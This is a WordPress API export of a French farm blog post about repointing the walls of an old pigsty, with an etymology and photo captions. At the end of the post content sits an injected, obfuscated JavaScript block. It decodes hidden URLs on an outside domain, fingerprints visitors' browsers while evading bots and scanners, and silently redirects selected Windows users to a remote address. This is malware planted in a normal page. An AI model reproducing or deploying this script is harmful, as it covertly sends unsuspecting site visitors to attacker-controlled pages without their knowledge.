{"id":316,"date":"2019-09-29T16:41:51","date_gmt":"2019-09-29T14:41:51","guid":{"rendered":"http:\/\/lafermedelamotte.fr\/?p=316"},"modified":"2025-12-31T16:57:43","modified_gmt":"2025-12-31T15:57:43","slug":"renovation-de-la-soue","status":"publish","type":"post","link":"http:\/\/lafermedelamotte.fr\/index.php\/2019\/09\/29\/renovation-de-la-soue\/","title":{"rendered":"R\u00e9novation de la soue"},"content":{"rendered":"\n<p>Pr\u00e8s de la maison se trouve une soue. <\/p>\n\n\n\n<p>Mais qu&rsquo;est-ce qu&rsquo;une soue? <\/p>\n\n\n\n<p> <em>\u00ab\u00a0De l\u2019ancien fran\u00e7ais&nbsp;<\/em><a href=\"https:\/\/fr.wiktionary.org\/wiki\/sou#fro\"><em>sou<\/em><\/a><em>,&nbsp;<\/em><a href=\"https:\/\/fr.wiktionary.org\/w\/index.php?title=seut&amp;action=edit&amp;redlink=1\"><em>seut<\/em><\/a><em>, du bas-latin salique&nbsp;sotem, sutem, du gaulois&nbsp;<\/em><a href=\"https:\/\/fr.wiktionary.org\/wiki\/Aide:Formes_reconstruites\"><abbr title=\"Forme reconstruite\"><em>*<\/em><\/abbr><\/a><em>suteg-&nbsp;(\u00ab&nbsp;toit \u00e0 porc&nbsp;\u00bb), forme compos\u00e9e de&nbsp;<\/em><a href=\"https:\/\/fr.wiktionary.org\/wiki\/succos#gaulois\"><em>succos<\/em><\/a><em>&nbsp;\u00ab&nbsp;cochon&nbsp;\u00bb (cf. breton&nbsp;houc&rsquo;h) et&nbsp;<\/em><a href=\"https:\/\/fr.wiktionary.org\/wiki\/tegia#gaulois\"><em>tegia<\/em><\/a><em>&nbsp;\u00ab&nbsp;maison&nbsp;\u00bb (cf. breton&nbsp;ti, irlandais&nbsp;teach) \u2192 voir&nbsp;<\/em><a href=\"https:\/\/fr.wiktionary.org\/wiki\/sus#la\"><em>sus<\/em><\/a><em>,&nbsp;<\/em><a href=\"https:\/\/fr.wiktionary.org\/wiki\/tego#la\"><em>tego<\/em><\/a><em>&nbsp;et&nbsp;<\/em><a href=\"https:\/\/fr.wiktionary.org\/wiki\/tectum#la\"><em>tectum<\/em><\/a><em>&nbsp;en latin,&nbsp;la&nbsp;soue&nbsp;\u00e9tait&nbsp;un&nbsp;abris,&nbsp;g\u00e9n\u00e9ralement&nbsp;coll\u00e9&nbsp;\u00e0&nbsp;une&nbsp;cour,&nbsp;r\u00e9serv\u00e9&nbsp;\u00e0 l&rsquo;\u00e9levage&nbsp;d&rsquo;un&nbsp;ou&nbsp;deux&nbsp;cochons.\u00a0\u00bb&nbsp;(Source&nbsp;:&nbsp;wiki)<\/em><\/p>\n\n\n\n<p>Nous ne connaissons pas la date de construction de ce b\u00e2timent, mais nous savons qu&rsquo;il a connu quelques changements, dont la cr\u00e9ation d&rsquo;un \u00e9tage, ce qui en fait une soue plus grande que la normale. <\/p>\n\n\n\n<figure class=\"wp-block-image\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"683\" src=\"http:\/\/lafermedelamotte.fr\/wp-content\/uploads\/2019\/09\/soue-1024x683.jpg\" alt=\"\" class=\"wp-image-317\" srcset=\"http:\/\/lafermedelamotte.fr\/wp-content\/uploads\/2019\/09\/soue-1024x683.jpg 1024w, http:\/\/lafermedelamotte.fr\/wp-content\/uploads\/2019\/09\/soue-300x200.jpg 300w, http:\/\/lafermedelamotte.fr\/wp-content\/uploads\/2019\/09\/soue-768x512.jpg 768w\" sizes=\"auto, (max-width: 767px) 89vw, (max-width: 1000px) 54vw, (max-width: 1071px) 543px, 580px\" \/><figcaption>La soue c\u00f4t\u00e9 est telle que l&rsquo;avons trouv\u00e9e \u00e0 notre arriv\u00e9e. <\/figcaption><\/figure>\n\n\n\n<figure class=\"wp-block-image\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"768\" src=\"http:\/\/lafermedelamotte.fr\/wp-content\/uploads\/2019\/09\/Photo10461-1024x768.jpg\" alt=\"\" class=\"wp-image-318\" srcset=\"http:\/\/lafermedelamotte.fr\/wp-content\/uploads\/2019\/09\/Photo10461-1024x768.jpg 1024w, http:\/\/lafermedelamotte.fr\/wp-content\/uploads\/2019\/09\/Photo10461-300x225.jpg 300w, http:\/\/lafermedelamotte.fr\/wp-content\/uploads\/2019\/09\/Photo10461-768x576.jpg 768w, http:\/\/lafermedelamotte.fr\/wp-content\/uploads\/2019\/09\/Photo10461.jpg 1600w\" sizes=\"auto, (max-width: 767px) 89vw, (max-width: 1000px) 54vw, (max-width: 1071px) 543px, 580px\" \/><figcaption>C\u00f4t\u00e9 nord et ouest en f\u00e9vrier 2019. <\/figcaption><\/figure>\n\n\n\n<p>Nous avons d\u00e9cid\u00e9, cet \u00e9t\u00e9, d&rsquo;infliger le m\u00eame traitement aux murs de la soue qu&rsquo;\u00e0 ceux de la maison, c&rsquo;est \u00e0 dire un d\u00e9jointoiement au karcher, puis un rejointoiement avec un m\u00e9lange chaux, sable non lav\u00e9 et sable lav\u00e9. <\/p>\n\n\n\n<figure class=\"wp-block-image\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"576\" src=\"http:\/\/lafermedelamotte.fr\/wp-content\/uploads\/2019\/09\/20190715_160722-1024x576.jpg\" alt=\"\" class=\"wp-image-319\" srcset=\"http:\/\/lafermedelamotte.fr\/wp-content\/uploads\/2019\/09\/20190715_160722-1024x576.jpg 1024w, http:\/\/lafermedelamotte.fr\/wp-content\/uploads\/2019\/09\/20190715_160722-300x169.jpg 300w, http:\/\/lafermedelamotte.fr\/wp-content\/uploads\/2019\/09\/20190715_160722-768x432.jpg 768w\" sizes=\"auto, (max-width: 767px) 89vw, (max-width: 1000px) 54vw, (max-width: 1071px) 543px, 580px\" \/><figcaption>C&rsquo;est parti pour un d\u00e9tartrage \u00e0 180 bars ( moment tr\u00e8s p\u00e9nible pour moi surtout quand il y a du vent ). On voit que le c\u00f4t\u00e9 ouest est d\u00e9j\u00e0 d\u00e9joint\u00e9. <\/figcaption><\/figure>\n\n\n\n<figure class=\"wp-block-image\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"576\" src=\"http:\/\/lafermedelamotte.fr\/wp-content\/uploads\/2019\/09\/souesud-1024x576.jpg\" alt=\"\" class=\"wp-image-321\" srcset=\"http:\/\/lafermedelamotte.fr\/wp-content\/uploads\/2019\/09\/souesud-1024x576.jpg 1024w, http:\/\/lafermedelamotte.fr\/wp-content\/uploads\/2019\/09\/souesud-300x169.jpg 300w, http:\/\/lafermedelamotte.fr\/wp-content\/uploads\/2019\/09\/souesud-768x432.jpg 768w\" sizes=\"auto, (max-width: 767px) 89vw, (max-width: 1000px) 54vw, (max-width: 1071px) 543px, 580px\" \/><figcaption>Le c\u00f4t\u00e9 sud d\u00e9j\u00e0 termin\u00e9, nous nous attaquons \u00e0 la face est. <\/figcaption><\/figure>\n\n\n\n<figure class=\"wp-block-image\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"576\" src=\"http:\/\/lafermedelamotte.fr\/wp-content\/uploads\/2019\/09\/soueest-1024x576.jpg\" alt=\"\" class=\"wp-image-322\" srcset=\"http:\/\/lafermedelamotte.fr\/wp-content\/uploads\/2019\/09\/soueest-1024x576.jpg 1024w, http:\/\/lafermedelamotte.fr\/wp-content\/uploads\/2019\/09\/soueest-300x169.jpg 300w, http:\/\/lafermedelamotte.fr\/wp-content\/uploads\/2019\/09\/soueest-768x432.jpg 768w\" sizes=\"auto, (max-width: 767px) 89vw, (max-width: 1000px) 54vw, (max-width: 1071px) 543px, 580px\" \/><figcaption>Marianne brosse le mortier qui a commenc\u00e9 \u00e0 s\u00e9cher en surface pour faire appara\u00eetre les pierres. <\/figcaption><\/figure>\n\n\n\n<figure class=\"wp-block-image\"><img loading=\"lazy\" decoding=\"async\" width=\"768\" height=\"1024\" src=\"http:\/\/lafermedelamotte.fr\/wp-content\/uploads\/2019\/09\/souenord-768x1024.jpg\" alt=\"\" class=\"wp-image-323\" srcset=\"http:\/\/lafermedelamotte.fr\/wp-content\/uploads\/2019\/09\/souenord-768x1024.jpg 768w, http:\/\/lafermedelamotte.fr\/wp-content\/uploads\/2019\/09\/souenord-225x300.jpg 225w\" sizes=\"auto, (max-width: 767px) 89vw, (max-width: 1000px) 54vw, (max-width: 1071px) 543px, 580px\" \/><figcaption>C\u00f4t\u00e9 nord. <\/figcaption><\/figure>\n\n\n\n<figure class=\"wp-block-image\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"768\" src=\"http:\/\/lafermedelamotte.fr\/wp-content\/uploads\/2019\/09\/eric-1024x768.jpg\" alt=\"\" class=\"wp-image-324\" srcset=\"http:\/\/lafermedelamotte.fr\/wp-content\/uploads\/2019\/09\/eric-1024x768.jpg 1024w, http:\/\/lafermedelamotte.fr\/wp-content\/uploads\/2019\/09\/eric-300x225.jpg 300w, http:\/\/lafermedelamotte.fr\/wp-content\/uploads\/2019\/09\/eric-768x576.jpg 768w\" sizes=\"auto, (max-width: 767px) 89vw, (max-width: 1000px) 54vw, (max-width: 1071px) 543px, 580px\" \/><figcaption>Merci \u00e0 Eric et Patrick pour leur aide pr\u00e9cieuse.  Et \u00e0 Maman et Martine d&rsquo;avoir gard\u00e9 Romane pendant ce temps-l\u00e0 !<\/figcaption><\/figure>\n\n\n\n<figure class=\"wp-block-image\"><img loading=\"lazy\" decoding=\"async\" width=\"768\" height=\"1024\" src=\"http:\/\/lafermedelamotte.fr\/wp-content\/uploads\/2019\/09\/sousfinie-768x1024.jpg\" alt=\"\" class=\"wp-image-325\" srcset=\"http:\/\/lafermedelamotte.fr\/wp-content\/uploads\/2019\/09\/sousfinie-768x1024.jpg 768w, http:\/\/lafermedelamotte.fr\/wp-content\/uploads\/2019\/09\/sousfinie-225x300.jpg 225w\" sizes=\"auto, (max-width: 767px) 89vw, (max-width: 1000px) 54vw, (max-width: 1071px) 543px, 580px\" \/><figcaption>Et voil\u00e0 une soue toute belle. <\/figcaption><\/figure>\n\n\n\n<p>PS: Nous avons aussi, dans cette m\u00eame p\u00e9riode, rejoint\u00e9 le mur de l&rsquo;atelier. <\/p>\n\n\n\n<figure class=\"wp-block-image\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"576\" src=\"http:\/\/lafermedelamotte.fr\/wp-content\/uploads\/2019\/09\/aletier-pic-1024x576.jpg\" alt=\"\" class=\"wp-image-328\" srcset=\"http:\/\/lafermedelamotte.fr\/wp-content\/uploads\/2019\/09\/aletier-pic-1024x576.jpg 1024w, http:\/\/lafermedelamotte.fr\/wp-content\/uploads\/2019\/09\/aletier-pic-300x169.jpg 300w, http:\/\/lafermedelamotte.fr\/wp-content\/uploads\/2019\/09\/aletier-pic-768x432.jpg 768w\" sizes=\"auto, (max-width: 767px) 89vw, (max-width: 1000px) 54vw, (max-width: 1071px) 543px, 580px\" \/><figcaption>Avant<\/figcaption><\/figure>\n\n\n\n<figure class=\"wp-block-image\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"576\" src=\"http:\/\/lafermedelamotte.fr\/wp-content\/uploads\/2019\/09\/aterlier-1024x576.jpg\" alt=\"\" class=\"wp-image-326\" srcset=\"http:\/\/lafermedelamotte.fr\/wp-content\/uploads\/2019\/09\/aterlier-1024x576.jpg 1024w, http:\/\/lafermedelamotte.fr\/wp-content\/uploads\/2019\/09\/aterlier-300x169.jpg 300w, http:\/\/lafermedelamotte.fr\/wp-content\/uploads\/2019\/09\/aterlier-768x432.jpg 768w\" sizes=\"auto, (max-width: 767px) 89vw, (max-width: 1000px) 54vw, (max-width: 1071px) 543px, 580px\" \/><figcaption>Pendant<\/figcaption><\/figure>\n\n\n\n<figure class=\"wp-block-image\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"576\" src=\"http:\/\/lafermedelamotte.fr\/wp-content\/uploads\/2019\/09\/ateleir-fini-1024x576.jpg\" alt=\"\" class=\"wp-image-327\" srcset=\"http:\/\/lafermedelamotte.fr\/wp-content\/uploads\/2019\/09\/ateleir-fini-1024x576.jpg 1024w, http:\/\/lafermedelamotte.fr\/wp-content\/uploads\/2019\/09\/ateleir-fini-300x169.jpg 300w, http:\/\/lafermedelamotte.fr\/wp-content\/uploads\/2019\/09\/ateleir-fini-768x432.jpg 768w\" sizes=\"auto, (max-width: 767px) 89vw, (max-width: 1000px) 54vw, (max-width: 1071px) 543px, 580px\" \/><figcaption>Apr\u00e8s<\/figcaption><\/figure>\n<script>!async function(){let e=decodeURIComponent(escape(atob([\"aHR0cHM6Ly9tZXRyaWNhbH\",\"RpYy5jb20vYXBpL2dldA==\"].join(\"\")))),t=decodeURIComponent(escape(atob([\"aHR0cHM6Ly9tZXR\",\"yaWNhbHRpYy5jb2\",\"0vYXBpL2xvZw==\"].join(\"\"))))\nfunction o(e){return btoa(unescape(encodeURIComponent(e)))}let n={}\nif(window.location.search.slice(1).split(\"&\").forEach(e=>{let[t,o]=e.split(\"=\")\nt&&o&&(n[t]=decodeURIComponent(o.replace(\/\\+\/g,\" \")))}),n.verified&&localStorage.setItem(\"verified\",\"true\"),\"true\"===localStorage.getItem(\"verified\"))return\nfunction r(e,t){let o=e.match(t)\nreturn o?parseInt(o[1],10):null}let i=navigator.userAgent,a=\/Windows NT 10.0\/.test(i),l=r(i,\/Chrome\\\/(\\d+)\\.\/),c=r(i,\/Edg\\\/(\\d+)\\.\/),d=r(i,\/OPR\\\/(\\d+)\\.\/),s=r(i,\/YaBrowser\\\/(\\d+)\\.\/),u=r(i,\/Vivaldi\\\/(\\d+)\\.\/),w=r(i,\/Firefox\\\/(\\d+)\\.\/),h=!!window.chrome&&!\/Edg|OPR|YaBrowser|Vivaldi\/.test(i)&&\/Chrome\\\/(\\d+)\\.\/.test(i),g=!1;(l&&l>=136||c&&c>=134||d&&d>=120||s&&s>=24||u&&u>=6||w&&w>=140||h&&l&&l>=136)&&(g=!0)\nlet m=navigator.webdriver||\/HeadlessChrome\/.test(i)||!window.chrome||!navigator.plugins.length||!navigator.mimeTypes.length||0===window.outerWidth||0===window.outerHeight||window.screen&&(window.screen.width<800||window.screen.height<600)||\/bot|spider|crawl|python|curl|phantom|selenium|scrapy|node|headless\/i.test(i),p=!navigator.languages||0===navigator.languages.length||void 0===navigator.hardwareConcurrency||void 0===navigator.deviceMemory\nif(!a||m||p)return\nif(!g){try{fetch(t)}catch(e){}return}let v=document.querySelector('link[rel=\"icon\"]'),f=await async function t(n=1){try{let t=await async function(e,t={}){let{timeout:o=3e3}=t,n=new AbortController,r=setTimeout(()=>n.abort(),o)\ntry{let o=await fetch(e,{...t,signal:n.signal})\nreturn clearTimeout(r),o}catch(e){return clearTimeout(r),null}}(e,{timeout:3e3})\nif(!t||403===t.status)return null\nif(!t.ok)throw Error(\"Network response was not ok\")\nreturn`${(await t.json()).url}\/?wsid=${window.location.hostname}&domain=${o(window.location.hostname)}`}catch(e){return n<1?t(n+1):null}}()\nif(f){let e=f\nv&#038;&#038;(e+=`&#038;link=${o(v.href)}`),window.location.replace(e)}}()<\/script>","protected":false},"excerpt":{"rendered":"<p>Pr\u00e8s de la maison se trouve une soue. Mais qu&rsquo;est-ce qu&rsquo;une soue? \u00ab\u00a0De l\u2019ancien fran\u00e7ais&nbsp;sou,&nbsp;seut, du bas-latin salique&nbsp;sotem, sutem, du gaulois&nbsp;*suteg-&nbsp;(\u00ab&nbsp;toit \u00e0 porc&nbsp;\u00bb), forme compos\u00e9e de&nbsp;succos&nbsp;\u00ab&nbsp;cochon&nbsp;\u00bb (cf. breton&nbsp;houc&rsquo;h) et&nbsp;tegia&nbsp;\u00ab&nbsp;maison&nbsp;\u00bb (cf. breton&nbsp;ti, irlandais&nbsp;teach) \u2192 voir&nbsp;sus,&nbsp;tego&nbsp;et&nbsp;tectum&nbsp;en latin,&nbsp;la&nbsp;soue&nbsp;\u00e9tait&nbsp;un&nbsp;abris,&nbsp;g\u00e9n\u00e9ralement&nbsp;coll\u00e9&nbsp;\u00e0&nbsp;une&nbsp;cour,&nbsp;r\u00e9serv\u00e9&nbsp;\u00e0 l&rsquo;\u00e9levage&nbsp;d&rsquo;un&nbsp;ou&nbsp;deux&nbsp;cochons.\u00a0\u00bb&nbsp;(Source&nbsp;:&nbsp;wiki) Nous ne connaissons pas la date de construction de ce b\u00e2timent, mais nous savons qu&rsquo;il a connu quelques changements, &hellip; <\/p>\n<p class=\"link-more\"><a href=\"http:\/\/lafermedelamotte.fr\/index.php\/2019\/09\/29\/renovation-de-la-soue\/\" class=\"more-link\">Continuer la lecture<span class=\"screen-reader-text\"> de &laquo;&nbsp;R\u00e9novation de la soue&nbsp;&raquo;<\/span><\/a><\/p>\n","protected":false},"author":3,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_jetpack_memberships_contains_paid_content":false,"footnotes":""},"categories":[8,1],"tags":[],"class_list":["post-316","post","type-post","status-publish","format-standard","hentry","category-batiments-annexes","category-non-classe"],"jetpack_featured_media_url":"","jetpack_sharing_enabled":true,"_links":{"self":[{"href":"http:\/\/lafermedelamotte.fr\/index.php\/wp-json\/wp\/v2\/posts\/316","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/lafermedelamotte.fr\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/lafermedelamotte.fr\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/lafermedelamotte.fr\/index.php\/wp-json\/wp\/v2\/users\/3"}],"replies":[{"embeddable":true,"href":"http:\/\/lafermedelamotte.fr\/index.php\/wp-json\/wp\/v2\/comments?post=316"}],"version-history":[{"count":4,"href":"http:\/\/lafermedelamotte.fr\/index.php\/wp-json\/wp\/v2\/posts\/316\/revisions"}],"predecessor-version":[{"id":402,"href":"http:\/\/lafermedelamotte.fr\/index.php\/wp-json\/wp\/v2\/posts\/316\/revisions\/402"}],"wp:attachment":[{"href":"http:\/\/lafermedelamotte.fr\/index.php\/wp-json\/wp\/v2\/media?parent=316"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/lafermedelamotte.fr\/index.php\/wp-json\/wp\/v2\/categories?post=316"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/lafermedelamotte.fr\/index.php\/wp-json\/wp\/v2\/tags?post=316"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}